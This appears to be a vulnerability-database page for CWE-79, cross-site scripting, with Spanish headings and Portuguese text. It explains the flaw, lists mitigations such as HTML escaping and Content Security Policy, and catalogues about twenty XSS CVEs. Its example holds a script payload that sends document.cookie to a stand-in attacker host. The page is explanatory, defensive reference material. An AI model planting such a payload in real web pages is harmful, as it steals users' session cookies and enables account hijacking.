Fallos del tipo CWE-79

29.621 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-3962MEDIUMwithstars Books-Management-System Comment add cross site scriptingEPSS 0.4%CVE-2024-32343MEDIUMA cross-site scripting (XSS) vulnerability in the Create Page of Boid CMS v2.1.0 allows attackers to execute arbitrary web scripts or HTML vEPSS 0.4%CVE-2026-69642MEDIUMSkype for Business Spoofing VulnerabilityEPSS 0.4%CVE-2025-3958MEDIUMwithstars Books-Management-System Book Edit Page book_edit_do.html cross site scriptingEPSS 0.4%CVE-2026-65930MEDIUMLimeSurvey Community Edition 7.0.5 - Stored XSS in replacement-fieldsEPSS 0.4%CVE-2023-47767HIGHWordPress Interactive World Map Plugin <= 3.2.0 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-47773HIGHWordPress Permalinks Customizer Plugin <= 2.8.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-10192MEDIUMPHPGurukul IFSC Code Finder Project search.php cross site scriptingEPSS 0.4%CVE-2023-32298HIGHWordPress Simple User Listing Plugin <= 1.9.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2022-2773LOWSourceCodester Apartment Visitor Management System profile.php cross site scriptingEPSS 0.4%CVE-2024-9089MEDIUMSourceCodester Modern Loan Management System update_loan_record.php cross site scriptingEPSS 0.4%CVE-2025-23429HIGHWordPress Altima Lookbook Free for WooCommerce plugin <= 1.1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-94504HIGHNinja Forms – The Contact Form Builder That Grows With You <= 3.15.3 - Stored Cross-Site ScriptingEPSS 0.4%CVE-2022-2768LOWSourceCodester Library Management System cross site scriptingEPSS 0.4%CVE-2023-47520HIGHWordPress Responsive Column Widgets Plugin <= 1.2.7 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-47812MEDIUMCross-site Scripting (XSS) on Special:RequestImportQueue when displaying request date in ImportDumpEPSS 0.4%CVE-2025-23432HIGHWordPress AlT Report plugin <= 1.12.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-47522HIGHWordPress Photo Feed Plugin <= 2.2.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-47510HIGHUnauth. Reflected Cross-Site Scripting (XSS) vulnerability in WPSolutions-HQ WPDBSpringClean plugin <= 1.6 versions.EPSS 0.4%CVE-2023-47690HIGHWordPress Additional Order Filters for WooCommerce Plugin <= 1.10 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%